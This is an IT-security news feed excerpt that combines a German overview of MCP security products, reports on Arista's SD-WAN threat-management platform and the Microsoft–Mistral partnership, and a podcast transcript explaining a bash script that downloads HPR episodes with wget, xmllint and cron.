Dennoch bestehen weiterhin SicherheitslĂŒcken, die sich fĂŒr diverse Cyberschandtaten ausnutzen lassen – Prompt Injection, Tool Poisoning, Token-Diebstahl, Server-ĂŒbergreifende Attacken oder manipulierte Messages sind nur einige von vielen Beispielen. Mit anderen Worten: Unternehmen, die sich beim Aufbau von Agentic-AI-Systemen einen Wettbewerbsvorteil verschaffen wollen, mĂŒssen erhebliche Anstrengungen unternehmen, um zu gewĂ€hrleisten, dass sensible Daten nicht nach außen dringen. GlĂŒcklicherweise gibt es diverse Tools, die dabei UnterstĂŒtzung versprechen.

In diesem Artikel lesen Sie:

  • was Security-Tools fĂŒr MCP leisten sollten, und
  • welche Angebote in diesem Bereich interessant sind.

Das sollten MCP-Sicherheitslösungen können

Die Gefahr von Datenlecks, Prompt Injections und weiteren Sicherheitsbedrohungen besteht unabhÀngig davon, ob Unternehmen:

  • ihre eigenen KI-Agenten mit MCP-Servern von Drittanbietern,
  • ihre eigenen MCP-Server mit Drittanbieter-Agenten, oder
  • ihre eigenen Server mit den eigenen Agenten verbinden.

Soll heißen: Unternehmen mĂŒssen in jedem Fall Autorisierungen und Berechtigungen ĂŒberprĂŒfen, detaillierte Zugriffskontrollen implementieren und alles protokollieren. Daraus ergeben sich auch die Anforderungen fĂŒr MCP-Sicherheitslösungen. Diese sollten bieten:

  • MCP-Servererkennung. FĂŒr Mitarbeiter eines Unternehmens ist es einfach, MCP-Server herunterzuladen und zu nutzen. Mit Scan-Services fĂŒr MCP-Server können Unternehmen sĂ€mtliche Instanzen von Schatten-MCP-Servern in ihrer Umgebung finden.
  • Laufzeitschutz. KI-Agenten kommunizieren mit MCP-Servern in natĂŒrlicher Sprache. MCP-Sicherheits-Tools sollten deshalb in der Lage sein, diese Kommunikation auf Sicherheitsprobleme wie Prompt Injections hin zu ĂŒberwachen.
  • Authentifizierungs- und Zugriffskontrollen. Das MCP-Protokoll unterstĂŒtzt inzwischen OAuth, aber das ist nur ein erster Schritt. FĂŒr zusĂ€tzliche Sicherheit empfehlen sich Tools mit integrierten Kontroll-Frameworks fĂŒr Zero Trust und Least Privilege.
  • Logging und Observability. Tools und Plattformen sollten zudem die Möglichkeit bieten, MCP-Protokolle zu sammeln, Sicherheitsteams ĂŒber RichtlinienverstĂ¶ĂŸe zu informieren, Compliance-Daten zu erfassen oder Protokolle in die bestehende Sicherheitsinfrastruktur einzuspeisen.

MCP-Security-Angebote

Im Folgenden haben wir die Anbieter von MCP-Security-Tools in drei Kategorien aufgeteilt. Diese Aufstellung erhebt keinen Anspruch auf VollstÀndigkeit.

Hyperscaler

FĂŒr Unternehmen, die sich vollstĂ€ndig auf eine bestimmte Cloud-Plattform verlassen, bieten die MCP-Tools des jeweiligen Hyperscalers einen einfachen Einstieg.

  • Amazon Web Services (AWS) hat Mitte 2025 seine eigene agentenbasierte KI-Plattform eingefĂŒhrt. Amazon Bedrock AgentCore umfasst ein Gateway, das mehrere Protokolle unterstĂŒtzt (darunter auch MCP), ein Identity-Management-System sowie Observability.
  • Microsoft bietet einen grundlegenden Azure-MCP-Server an, inklusive Support fĂŒr Azure Key Vault. DarĂŒber hinaus unterstĂŒtzen auch Azure AI Foundry Agent Service und Azure API Management das Model Context Protocol. Zudem bietet Microsoft mit dem Agent Framework auch ein Open-Source-Entwicklungskit, das sowohl MCP als auch Agent2Agent unterstĂŒtzt und beispielsweise Schutz vor Prompt Injections verspricht.
  • Google Cloud kĂŒndigte Anfang 2025 seine MCP Toolbox fĂŒr Datenbanken an – inklusive integrierter Authentifizierung und Observability. Außerdem hat der Hyperscaler auch eine Referenzarchitektur veröffentlicht, um MCP-Server auf seiner Cloud-Plattform abzusichern.

Große Plattformanbieter

  • Der IT-Dienstleister Cloudflare hat mit MCP Server Portals ein Tool veröffentlicht, mit dem Unternehmen MCP-Verbindungen zentralisiert absichern und ĂŒberwachen können. Die Funktion ist Bestandteil der Cloudflare-One-Plattform.
  • Palo Alto Networks hat mit Blick auf MCP-Sicherheit mehrere Eisen im Feuer. Mit Prisma AIRS hat das Unternehmen einen eigenen, intermediĂ€ren MCP-Server veröffentlicht. Dieser sitzt zwischen den KI-Agenten und dem eigentlichen MCP-Server und erkennt schadhafte Inhalte und Daten. Das Tool MCP Security ist hingegen Bestandteil von Cortex Cloud WAAS und ĂŒberprĂŒft die MCP-Kommunikation an der Netzwerkgrenze auf bösartige AktivitĂ€ten.
  • SentinelOne gewĂ€hrt mit seiner Singularity Platform ebenfalls Einblick in die MCP-Interaktionskette und bietet zum Beispiel Warnmeldungen und automatisierte Incident Response fĂŒr MCP-Server auf lokaler oder Remote-Ebene.
  • Die Plattform von Acuvity (seit Februar 2026 Teil von Proofpoint) verspricht, MCP-Server umfassend abzusichern. DafĂŒr sorgt laut dem Anbieter eine Kombination aus Least-Privilege-Execution, unverĂ€nderlichen Laufzeiten, kontinuierlichen Schwachstellenscans, Authentifizierung und Bedrohungserkennung.
  • Daneben hat auch Broadcom MCP-Sicherheitsfunktionen fĂŒr VMware Cloud Foundation angekĂŒndigt, die kĂŒnftig mehr Sicherheit fĂŒr agentenbasierte Workflows gewĂ€hrleisten sollen.

Startups

  • Das API-Security-Startup Akto hat eine MCP-Security-Plattform im Angebot. Sie umfasst ein Discovery Tool, um MCP-Server in Unternehmensumgebungen zu identifizieren, Security-Testing-Werkzeuge sowie Monitoring- und Threat-Detection-Funktionen.
  • Invariant Labs bietet mit MCP-Scan ein quelloffenes Tool, das die statische Analyse und EchtzeitĂŒberwachung von MCP-Servern ermöglicht. Mit Guardrails hat das Startup auch ein kommerzielles Produkt im Angebot. Dabei handelt es sich um einen Proxy. Der zwischen KI-Agenten und MCP-Servern sitzt und vor Security-Risiken schĂŒtzen soll. Das Tool befĂ€higt Anwender außerdem dazu, Richtlinien aufzusetzen.
  • Highflame (vormals Javelin) addressiert ebenfalls das Thema MCP-Sicherheit. Etwa mit Funktionen wie MCP-Server auf Risiken zu scannen oder Datenanfragen zu ĂŒberprĂŒfen.  
  • Lasso Security stellt ein Open-Source-MCP-Gateway zur VerfĂŒgung, das die Konfiguration und das Lebenszyklusmanagement von MCP-Servern ermöglicht und Messages um sensible Informationen bereinigt.

(fm)

Dieser Artikel ist im Original bei unser Schwesterpublikation CSOonline.com erschienen.

]]> <![CDATA[Arista debuts unified SD-WAN edge platform]]> https://tsecurity.de/de/3685191/it-security-nachrichten/arista-debuts-unified-sd-wan-edge-platform/ https://tsecurity.de/de/3685191/it-security-nachrichten/arista-debuts-unified-sd-wan-edge-platform/ Wed, 22 Jul 2026 05:40:32 +0200 📰 IT Security Nachrichten tsecurity.de

Arista Networks is looking to simplify data protection at the edge of enterprise networks with a new security package that combines branch office security with SD-WAN connectivity in a single platform.

The company announced AI-driven Edge Threat Management (ETM) for VeloCloud SD-WAN, a platform that links typically separate products and capabilities including Arista’s next-generation firewall, IP reputation, external blocklists, intrusion prevention, URL filtering, application classification, geo-IP filtering, network address translation, deep packet inspection, and zone-based segmentation.

ETM provides perimeter protection at the WAN edge and is a software upgrade option to VeloCloud SD-WAN, according to Arista. It can help simplify branch operations with a common operating system, a uniform enforcement engine, and common end-to-end security policies, the vendor stated. The new ETM solution also leverages Arista’s AVA (Autonomous Virtual Assist) for AI-driven policy intelligence.

“Multi-vendor branch complexity creates the ultimate blind spot, and your adversaries are actively hiding in it,” wrote Brendan Gibbs, Arista’s vice president, AI, routing, and switching platforms, in a blog post about the new platform.

Sprawling multi-vendor infrastructure creates operational headaches and increases security risks, according to Gibbs. “When you have four or five different point solutions from different vendors stacked on top of each other, configuring them becomes a manual, disjointed process. In fact, industry data shows that up to 95% of network changes are still performed manually, which inevitably leads to configuration mistakes, the single biggest driver of network downtime and security policy gaps,” he wrote. 

“When security policies are decoupled from local network routing, critical blind spots emerge. An attacker doesn’t need to break your cloud-delivered SASE firewall; they just need to target the unmonitored local traffic gaps between your Wi-Fi AP, your LAN switch, and your SD-WAN edge router,” Gibbs wrote.

ETM is integrated into VeloCloud Orchestrator as a dedicated enterprise application. “This enables security operators to configure policies that build on the same source of shared network configuration while maintaining a dedicated management console for security policy configuration, provisioning, and reporting,” Arista stated.

ETM security policies are managed in VeloCloud Orchestrator. “Admins can build and assign reusable policies consisting of predefined objects and templates. This design makes updating security policies possible by a few simple clicks, while the associated changes are propagated throughout the network within minutes,” Arista stated.

VeloCloud Orchestrator is the central management, configuration, and monitoring hub for VeloCloud SD-WAN and SASE networks.

In addition, VeloCloud edge routers collect threat intelligence data from a variety of sources to determine in real-time the trustworthiness and identity of hosts inside and outside the network. Through integration with Arista Network Detection and Response and other web-based dynamic lists, administrators can identify suspicious hosts and build policies to block potentially harmful activities, the vendor stated.

Integration with Arista’s AVA policy assistant is aimed at simplifying management of branch security policies. AVA continuously analyzes configuration states and translates complex, multi-site security rules into plain English, Gibbs explained. For example, NetOps administrators can use AI with Ask AVA to predict “how specific traffic will be handled before committing to a deployment, preventing manual configuration errors that leave branches exposed,” Gibbs wrote.

Arista also touted support for network-wide segmentation policies. “The flexible security policy configuration within the Edge Threat Management policy management extends the security coverage from the data center to the branch,” the vendor stated. “Security operations administrators can build access policies that are enforced across a distributed network. The centralized design enables admins to configure and deploy consistent zone based policies across the entire distributed network.”

ETM is a significant addition to the Arista VeloCloud portfolio. Arista bought the VeloCloud SD-WAN platform from Broadcom a year ago and has been promising new technologies that expand the platform. ETM also could further the vendor’s stated plans to expand beyond its data center networking roots and compete more broadly with enterprise networking vendors such as Cisco, Palo Alto Networks, and Fortinet.

In the SASE and SD-WAN world, vendors such as Cisco, Palo Alto, Fortinet, Cato Networks, and Versa Networks are among the most balanced suppliers, with both SD-WAN and SSE contributing meaningful revenue streams, according to a recently published report from Dell’Oro Group.

“We forecast that SASE will remain on a double-digit growth path in 2026, with SSE-first rollouts remaining the most common entry point, and SD-WAN supported by branch modernization, software attach, and branch security refresh,” Dell Oro stated.

“AI is changing the SASE discussion from access and inspection to governance, data protection, and control over agents and machine traffic,” Mauricio Sanchez, senior director, enterprise security and networking at Dell’Oro Group, stated in the report. “A 21 percent Y/Y quarter shows that SASE is not waiting for a future AI refresh cycle; it is already absorbing the early security and networking requirements created by AI adoption,” Sanchez added.

ETM for VeloCloud SD-WAN will be available in Q4 of 2026 and will be available for all current VeloCloud hardware and virtual edge platforms.

]]> <![CDATA[Microsoft doubles down on sovereign AI with expanded Mistral partnership]]> https://tsecurity.de/de/3685096/it-nachrichten/microsoft-doubles-down-on-sovereign-ai-with-expanded-mistral-partnership/ https://tsecurity.de/de/3685096/it-nachrichten/microsoft-doubles-down-on-sovereign-ai-with-expanded-mistral-partnership/ Wed, 22 Jul 2026 04:03:03 +0200 📰 IT Nachrichten tsecurity.de

Microsoft and Mistral are betting that the future of enterprise AI is in sovereign infrastructure and model choice, rather than with one locked-in system. 

The companies have announced a “significant expansion” of their strategic partnership, which includes a multibillion dollar commitment from Microsoft. Mistral will add to its GPU infrastructure in Europe and extend access to its frontier multilingual models, while Microsoft will expand its sovereign cloud capabilities. The companies will also align on a joint go-to-market plan and will pursue enterprise opportunities together across Europe and globally, as well as funding proofs of concept (PoCs), offering Azure credits, and leading workshops to drive AI innovation with customers.

The partnership between the tech giant and the three-year-old French startup might seem an odd combination at first glance, analysts note, as both develop enterprise AI models and offer access as-a-service. But it reflects changing AI market dynamics.

“It’s possible to be both a competitor and a partner at the same time,” noted technology analyst Carmi Levy. Large cloud providers are becoming AI marketplaces in their own right, he pointed out, and are drifting away from exclusively promoting their own models. Building Mistral support into their infrastructure avoids platform lock-in and removes a “key objection for customers looking for options.”

“As much as Microsoft would want everybody standardizing on Copilot and Phi, it recognizes the simple fact that customers increasingly want to choose their own models,” said Levy.

Expands model access, sovereign cloud capabilities

As part of the agreement, Mistral will expand its Europe-based capacity with thousands of Nvidia Vera Rubin GPUs.

Mistral CEO and co-founder Arthur Mensch described a “slight gap” in compute capacity in Europe, noting that this expansion will provide more compute capability and support Microsoft’s cloud and AI services, providing a “shared platform for training, inference and large-scale deployment.” The companies call it a critical step to allow Microsoft customers to benefit from Mistral’s “scientific and compute innovations.”

In addition, Mistral Medium 3.5 and OCR 4 models are now available in Microsoft Foundry, and Mistral Medium 3.5 can be used in Microsoft Copilot Studio.

The partnership also extends Microsoft’s sovereign cloud infrastructure as well as combining Mistral’s frontier models with Microsoft’s security, compliance, and cloud-to-edge platform. This gives enterprises, particularly those in regulated markets, the ability to deploy AI where they see fit, while maintaining control over their data and workloads, according to the companies.

Further, customers will be able to build AI using the same models, tools, APIs, and workflows they’re used to, across Microsoft Foundry, Foundry Local, and Azure Local, and opt for fully Azure-hosted cloud environments; cloud-connected, controlled Azure Local environments that only use cloud-based Azure when necessary; and fully-disconnected environments that can operate independently for more sensitive scenarios.

“Europe should have access to the world’s most capable AI without compromising control over their data, operations or digital future,” said Brad Smith, vice chair and president, Microsoft, noting that with this partnership, the company is honoring its European digital commitments and giving customers a foundation for AI so they can “operate on their own terms.” Customers with “heightened sovereignty needs” will be able to exercise more control with “resilience and assurance” and continued access to Mistral’s open-weight models.

Enterprise credibility

Gartner distinguished VP analyst Arun Chandrasekaran noted that there’s no doubt that this agreement strengthens Microsoft’s sovereignty messaging and its position in regulated industries, and the tech giant benefits by expanding its AI portfolio with a “credible European frontier model provider”

He pointed to key differences from the initial partnership struck by the two companies in 2024; whereas originally Microsoft was hosting Mistral’s models, it is now consuming capacity built by Mistral in Europe.

Ultimately, the deal emphasizes European data centers, customer-controlled deployments, Azure Local, and fully-disconnected environments, addressing many of the concerns that surrounded the original Azure cloud only relationship, Chandrasekaran explained.

For Mistral, the partnership provides “enterprise credibility, and repeatable infrastructure revenue” that can fund continued AI platform development, he said. The combination of Microsoft’s enterprise AI platform with Mistral’s models and European AI infrastructure will give joint customers more deployment flexibility and expand options around data residency, sovereign AI deployments, and disconnected/on-premises environments.

“It also gives customers more model choice, reducing dependence on a single AI provider,” said Chandrasekaran.

A complementary partnership

Mistral continues to innovate with its frontier AI models and its chat and coding agent, Vibe (formerly Le Chat), yet it doesn’t attract as much attention as Claude or ChatGPT.

One of the company’s key differentiators is its targeted business model. Levy pointed out that not every workload requires “full-flight GPT.” For customers trying to rein in costs and limit exposure with on-premises deployments, Mistral’s “more focused capabilities can represent a cost-effective alternative.”

Chandrasekaran pointed to Mistral’s combination of high-performance open-weight models, strong multilingual capabilities, and a “focus on efficient inference that lowers deployment costs.”

Unlike many frontier AI companies, it offers customers greater flexibility to self-host and customize models; this makes it particularly attractive for enterprises and governments with sovereignty or regulatory requirements, he said. Its European roots also position it as the leading alternative for organizations seeking cutting-edge AI outside the US and Chinese ecosystems.

Bill Wong, research fellow at Info-Tech Research Group, also pointed to Mistral’s high-quality models and “adeptness as a sovereign AI leader.” There is growing demand for AI companies that comply with regional laws and data residency, and Mistral is established as “one of the most prominent European players.”

“Such a strategic position makes it a great partner for Microsoft to further expand its AI offerings beyond just being a single-model provider,” he said. Customers get freedom of choice while complying with data sovereignty and regulatory limitations without having to execute a separate AI deployment, while Mistral, for its part, can go beyond Europe and gain more visibility with international businesses.

Mistral brings both “technological and political advantages,” Levy noted. The startup’s European roots give Microsoft more credibility “at a fraught time for geopolitical relationships.” Customers in Europe and beyond are concerned about US exposure, and Mistral can provide a safer choice.

Meanwhile, Microsoft can deploy European-developed AI models running on European infrastructure, thus maximizing regulatory compliance while offering next-level enterprise marketing scale that Mistral “simply couldn’t achieve on its own,” said Levy. Mistral-based workloads deployed on Azure will also benefit from Microsoft’s “comprehensive security certifications, governance frameworks, and monitoring.”

Bottom line: Both companies can maximize their unique roadmaps through the partnership, he said. “As the rules of the AI economy continue to evolve, expect more eyebrow-raising deals like this to be signed.”

]]> <![CDATA[HPR4688: Downloading Podcasts with a Shell Script]]> https://tsecurity.de/de/3685037/podcasts/hpr4688-downloading-podcasts-with-a-shell-script/ https://tsecurity.de/de/3685037/podcasts/hpr4688-downloading-podcasts-with-a-shell-script/ Wed, 22 Jul 2026 02:06:46 +0200 đŸŽ„ Podcasts tsecurity.de This show has been flagged as Clean by the host.

01 Introduction

In this episode I will describe techniques for downloading podcasts using basic shell commands such as wget.

I will illustrate this using a bash script that can be used to download HPR podcasts.

Even if you do not have any interest in downloading your podcasts using this method, you may find some of the methods useful or interesting.

It is the principles that are discussed here that are important, rather than the implementation.

02

I realize that there are already a number of different podcast download programs available, including at least one written in bash.

However, you may feel that none of these suit how you wish to do things and want to create your own system tailored to your specific needs.

If so, then I hope the following is of some use to you.

If not, then you may still find some of the things discussed here to still be of interest.

Some of the subjects I cover include

wget to a user defined file name.

parsing xml with xmllint.

using inotifywait to trigger an action when a file is created or modified.

using notify-send to send a message to the notification area.

and

a way of allowing a cron job to send a message to the user interface.

03 Background

There has been an ongoing discussion in comments to some HPR episodes about problems downloading HPR podcast episodes.

Apparently some people have been experiencing problems with the way the episode URLs are structured.

04

I am afraid that I don't fully understand the nature of these problems, so I won't be addressing that problem directly.

Instead, I will present a bash script that I have written which can be used to download HPR podcasts.

This bash script can be run using cron to automatically fetch new HPR podcasts and save them to a designated directory.

This is a simplified version of a script that I have used for years to download HPR and other podcasts.

05

I won't try to read the full bash script out in this podcast, as that would be a bit dull to listen to.

I will instead describe what each section does and why I chose to do things that way.

Perhaps other people can offer suggestions of better ways to do things.

I will post the full bash script in the show notes.

06 Fetching Podcasts

The standard way of distributing podcasts is to publish an RSS feed containing URL links to the audio files.

RSS is a very long established and widely supported mechanism for this and other purposes.

An RSS feed is basically an XML document which can be accessed over HTTP.

These URLs contained in the RSS XML document can then be used to download the actual audio files, such as MP3 or OGG files.

07

Basically what we need to do is the following

‱ Download the RSS XML document.

‱ Extract the URL links to the audio files.

‱ Compare the list of these links to a previously saved list to see which ones are new and which ones are ones that we previously downloaded.

08

‱ Make a list of the new URLs.

‱ Go through this list of new URLs and download each of the new audio files.

‱ Check to see that we actually received the new audio file.

‱ Add the URLs of the files we successfully downloaded to our saved list of podcast URLs

09

In addition to this, we would like to have the above happen automatically in the background without our having to take any action on our own.

We may wish to receive a notification of when a new podcast has arrived however.

We would probably also wish to receive notification of any errors or failures.

10 Fetching Podcasts - The Preliminaries

Our desire to be able to run the script automatically imposes some requirements on our solution.

To schedule the script we will use cron.

Cron is a Linux facility to run scripts on a schedule.

11

One of the side effects of using cron however is that we need to specify the full path to the locations where we intend to keep any data files, plus also the full path to where we intend to put the downloaded podcasts.

12

So the first thing we need to do in our script is to specify a number of different values for things like file location, the URL for the HPR RSS feed, and several other things as well.

I will skip over the details of these, although I may make reference to them later.

13 Get the RSS Data

The first thing of real substance to do is to fetch the current RSS feed data.

I have put this in a bash function called getrssurldata

The contents of this function are a one liner, but with a number of elements chained together through pipes.

14 Downloading the RSS XML Document

‱ First we use wget, which is a standard command on most Linux distros.

‱ We specify four things.

‱ First we set a timeout. I have chosen 20 seconds.

‱ Next we set the retry limit. I have chosen 3.

15

‱ Then we specify that the output of wget is sent to stdout rather than saved as a file.

‱ This is done by using the -O option followed by a space and then a dash.

‱ The O option is usually used to specify a file to save the output to, but when used with a dash causes output to go to stdout.

‱ Then we specify the URL of the HPR RSS feed.

16 Contents of the XML Document

This gives us the HPR RSS XML document.

There are about 5,000 lines in this RSS document.

Most of those lines are the show notes which are also included in the feed.

17 Extracting the Podcast Episode URLs

There are only 10 lines of the document that contain information that we are interested in however.

These lines are enclosed in "enclosure" XML tags.

We just need to find those lines and separate out the URLs

18 Standard Command Line Tools

There are two ways that we can do this.

One is to use a combination of grep, sed, and cut.

Grep can find the lines containing the enclosure tags.

Sed and cut can extract the URL from the surrounding extraneous data.

19

However, this method does not discriminate between real enclosure tags in the data portion of the RSS feed and enclosure tags in the show notes which are included in the feed from episodes such as this one.

This may be an acceptable problem in practical terms, but we can do better.

20 Using an XML Parser

The other method is to actually parse the XML document.

there are at least two command line XML parsers that I am aware of.

These are "xmllint", and "xlmstarlet".

I have used xmllint in this example.

I have not used xmlstarlet, so I can't offer any comment on how easy or difficult to use it is.

21

I won't give a detailed explanation of all the things that xmllint can do.

It has many features, most of which, as the name suggests, have to do with finding formatting problems with the XML itself.

Describing everything it can do would be at least one episode in itself.

I will instead just give the particular command used and explain each element of it.

22

In this example assume that we are piping the output of wget directly into xmllint.

The complete command is

xmllint --xpath "//channel/item/enclosure/@url" - | cut -d'"' -f2

23

In this example,

xmllint is the name of the command.

--xpath tells it to parse the document according to the string which follows.

"//channel/item/enclosure/@url" tells it to find a series of tags in the hierarchy of channel, followed by item, followed by enclosure, and then extract the url attribute from the enclosure tag.

The "-" which follows tells it to look for input from stdin rather than from a file.

24

The result is a string which has the url attribute name, an equal sign, and the URL that we want enclosed in quotes.

To get just the URL itself, we pipe the output from xmllint into cut, using the doublequote characters as delimiters.

We then save the result in a temporary file.

25 Finding the New Episodes

Next we wish to find the new podcast episodes.

Each HPR episode is identified by a unique URL.

This means that if we save the URLs of episodes that we have already downloaded, we just have to look for the URLs that do not appear in this saved list.

https://hub.hackerpublicradio.org/ccdn.php?filename=/eps/hpr4659/hpr4659.mp3

26

The easiest way to do this is to take our two lists of URLs, sort each into temporary files, and then compare the sorted URLs using the "comm" command.

27

This is simple, but has a drawback.

Some podcasts occasionally change distributors.

When they do this, the old podcasts are re-published with new URLs and you end up downloading a lot of old episodes over again.

28

With HPR we could get around this by extracting just the file name and looking for that instead of the full URL.

I will however leave that problem as an exercise for the student and just accept that if the URL format changes we may end up downloading old episodes over again.

Since the feed has a maximum of only 10 episodes in it however, that isn't really that big of a problem.

It would be more of a problem with podcasts which have very large numbers of episodes in their feed, but the solutions to those will be feed specific.

29 Downloading the New Podcasts

We should now have a list of URLs for the new podcasts we do not already have.

Typically this should be only one file, but there could be several, or even as many as 10, if we have not turned on our computer in a while.

Therefore, we need to iterate through the file of new podcast URLs and download each one.

30

Before we do that however, we should check to see if there is in fact anything new to download.

To do this, simply use "wc -l" to count the number of lines in the list of new URLs and save the resulting number.

31

If this number is zero, there is nothing to download, we can skip the download step.

As an additional check, we should see if the number of downloads exceeds some threshold value that we wish to set.

This is not a major problem with HPR, but some podcasts have hundreds of files in their RSS feed rather than just the most recent ones.

If we do exceed our download limit, then we need to log an error and skip downloading.

32

Assuming there are no problems so far however, the first thing we need to do is to extract the name of the audio file from the URL.

We can do that using the "basename" command.

We will use this to specify the name that we use when we save the audio file.

33

HPR has a very well formed file name.

Some podcasts do not however, and for those you would need to construct some sort of suitable name either using information found in the URL or simply creating a name using a time stamp.

34

Next we download the audio file using wget.

This is similar to how we downloaded the RSS feed, but with a few changes.

One is that I have increased the timeout to 90 seconds.

This may not have been necessary, but seemed like a good idea.

35

The next is that when specifying the output file name using -O, we use the file name we extracted from the URL.

The third is that we specify a destination directory using the -P option.

36

After wget has finished, including any retries that it had to do, we next check that the expected new file is both present and not empty.

We did this using an "if" statement with the "-s" option.

If the file was found and not zero, then we add that URL to a temporary list of downloaded URLs.

37

If the file was not present, or was zero length, we output an error message to an error log.

I will come back to this point later.

38

Next, if there is more that one podcast to download we sleep for 3 seconds.

While not strictly necessary, it is considered to be "polite" to not hammer a server repeatedly, but rather to put a small delay between file downloads..

39

After we have downloaded all the audio files in our list, we can add the list of URLs for the files downloaded to the permanent list.

While we are at it, we should use "tail" to trim the permanent log to keep it from growing indefinitely.

This limit should be several times bigger than the number of files in the RSS feed.

In this case I selected 50.

40

Finally we write any errors to the permanent error log, and also write these same errors to another file used to signal errors for display to the user.

We have now successfully downloaded at least one HPR podcast.

41 Notify the User of Events

It would be convenient to be informed of new podcast downloads when they occur, and also be notified of any errors.

One of the limitations of cron jobs is that they cannot access the user interface.

This means that we cannot readily send a message directly to the notification system to inform the user of the presence of new podcasts or of errors.

42 inotifywait

The solution to this is to use "inotifywait" to monitor particular files and directories for changes.

The man page for inotifywait states the following -

43

inotifywait efficiently waits for changes to files using Linux's inotify(7) interface. It is suitable for waiting for changes to files from shell scripts. It can either exit once an event occurs, or continually execute and output events as they occur.

End of quote.

44

In many Linux distros, inotifywait is provided by the "inotify-tools" package.

I won't go over all the features of inotifywait.

Instead, I will just describe how to use it for our purposes here.

45 inotifywait Modes

I should point out first though that inotifywait operates in two different modes.

In the normal default mode, it exits after being triggered by an event and must be re-established again in order to resume monitoring.

In monitor mode, which is enabled by using the "-m" option, it runs indefinitely, responding to events.

I will use the default mode here.

46

The man page for inotifywait provides a simple example that we could copy and modify for our purposes.

A great many examples that you will find are based on this example.

However, it doesn't quite do what we want, so we need to change a few things.

47 podfetchnotify

The first shell script is one which monitors for the arrival of new podcasts and sends a notification to the user.

I will call this "podfetchnotify".

The complete scripts are in the show notes, I will just provide a brief description here.

48 Setting Up Event Watches Using inotifywait

The script is enclosed in a while loop which run indefinitely.

In the first line inside the while loop, we call inotifywait.

inotifywait will then block until the event it is told to look for occurs.

In short, execution of the script will wait there until an event occurs.

49

The names of the events are listed in the man file.

In this case we are looking for "modify", "create", and "moved_to".

Each of these does pretty much as you would expect, reacting to modifying an existing file, creating a new file, or moving a file to that directory.

50 Problems When Testing Using Text Editors

I should point out that if you are testing a script which uses inotifywait, then modifying a file with a text editor may not produce the results that you may think it would.

Instead it treats this as a new file with the same name, with the original file being erased.

Since inotifywait attaches itself to the inode rather than the filename, it sees the file that the text editor changed as being a new file.

If you wish to test this realistically, then use "echo" to overwrite the file by using I/O redirection.

51 Capturing Output

In my example I capture the output from standard out into a variable, but I don't do anything with it.

If you wish to for example display the name of the newly downloaded podcast file, then use the --format option along with an appropriate formatting code.

There are details about this in the man page.

On the next line we capture the exit code using "$?"

52 Responding to Exit Codes

If the exit code was zero, then a monitored event was triggered and there should a new podcast in the directory.

In this case we display a message indicating that a new podcast has arrived.

I will describe how to send notifications shortly.

If the exit code was not zero, then an error occurred.

An example of such an error would be if the directory were not present when monitoring was started.

In this case we display a message indicating that a fatal error has occurred and then exit.

53 Delay for More Podcasts

Finally, we use "sleep" to wait for some arbitrary period of time to prevent notifications from being triggered multiple times if several podcasts were being downloaded in succession.

In this case I chose to wait for 60 seconds.

54

We have now completed the process and can return to the top of the loop and resume waiting using inotifywait.

55 Sending Notifications to the User

I mentioned above about sending notification messages to the user.

In the Gnome desktop, notification messages appear from the centre of the top bar in a list.

Other desktops or operating systems may have something similar.

56

To send a notification message to the notification area, you use the "notify-send" command.

Simply follow notify-send with a quoted string and it will be displayed in the notification area.

57 podfetcherrornotify

The second shell script is one which notifies the user of errors.

I will call this "podfetcherrornotify".

With this shell script we set up a watch on a file which contains any error messages from podfetch.

This script is very similar to podfetchnotify.

58

The exceptions are

With inotifywait we only monitor for "modify".

There is no sleep command at the end of the loop.

Instead we sleep for a few seconds just after getting the exit code from inotifywait.

This helps prevent problems caused by race conditions.

59

Next we check the inotifywait exit code.

If it was zero, then we read the error report file and send a notification message to the user containing that error message.

60

If it was not zero, then we check to make sure that the directory that should contain the error log exists.

If it does not exist, then we send a notification message to that effect to the user and terminate the script.

61

If the directory exists, then we check to see if the error message file used for signalling exists.

If the file does not exist, then we create it.

62

One of the reasons for an inotifywait error is that if the file that it is told to monitor does not exist, it cannot set up a watch condition.

By creating the file we correct the cause of the error and allow inotifywait to operate normally.

63

Finally we increment an error counter and check to see if the limit is exceeded.

If there are excessive errors, then send a notification message to the user and exit.

The reason for this is to give the user an indication that the error notifications are not working for some reason and there may be a problem that needs looking into.

64

The error counter is reset every time the inotifywait exit status is ok, so occasional unexpected glitches should be something that is ignored.

Of course podcast fetching errors are something that will probably happen only rarely if at all, so this final step may be seen as an unnecessary embellishment.

65 Installing the Scripts

Next I will describe how to install and prepare the scripts to run.

We need to perform the following steps.

66

‱ First, we need to create a directory to hold the scripts and their associated data files.

‱ Next we need to create a directory to hold the downloaded podcasts.

‱ Then we must copy the scripts to these directories and make them executable.

‱ Then, we must edit the scripts to have the file path in the script match the locations of the new directories that we created.

67

‱ Then we need to install xmllint, or alternatively modify the download script to comment out the use of xmllint and enable the alternative method using grep and sed instead.

‱ Then we need to run each script manually from the command line to check for errors.

‱ If podfetch ran correctly, it should download the most recent 10 podcasts during this test.

68 Adding podfetch to the Crontab

The above describes how to run the scripts manually.

In order to fetch podcasts automatically, we need to add the podfetch script to the cron schedule.

To do this, open a terminal.

69

Type "crontab -e", and then press return.

A text editor should open up containing the crontab file.

On Ubuntu, this editor is GNU nano.

Enter the appropriate cron parameters.

I will provide an example here for running it 12 minutes past the hour every three hours.

70

12 */3 * * * /home/username/pathtofiles/podfetch.sh

71

I won't explain cron in detail here.

The example that I have just given should be good enough for most people.

The "*/3" parameter will cause it to run every three hours.

The "12" parameter will cause it to run 12 minutes past the hour when it does run.

72

Checking every three hours should be good enough for most people, but you can adjust that as you see fit.

I would recommend however that you don't check more frequently than once per hour.

Checking more frequently than necessary puts extra load on the distribution servers.

It is very unlikely that you really do need each new episode the moment it is available.

73

I would also recommend changing the "12" parameter to some other random minute value.

I would suggest avoiding on the hour or on the half hour, as a lot of other people are probably checking at those times, and it would be better to spread the load out more evenly over time.

74

The file path parameter should of course match the actual path to wherever you have located the script, including the correct user name.

75 Making the Notification Scripts Start Automatically

The two notification scripts can be made to start automatically.

The exact method to do this may vary according to distribution or desktop.

76

On Ubuntu this is done using the Startup Applications Preferences GUI program, which should come already installed.

77

I won't go into details on this here, it should be fairly self evident how to use it once you see it.

What this program does is to create ".desktop" files in the ".config/autostart" directory in your home directory.

78

These ".desktop" files are all run automatically on start up.

Once you have added the notification scripts, you will need to log out and then log back in to make them active.

79 Conclusion

I this episode I explained how to write a set of simple shell scripts to automatically download each new episode of HPR as it comes out and to notify you of its arrival.

80

The download script described here is tailored specifically for use with HPR only.

However, it was derived from a larger script that downloaded other podcasts as well, based on information read in from a text file.

If you are feeling ambitious, you can add those features back into this to handle all of the podcasts that you listen to.

81

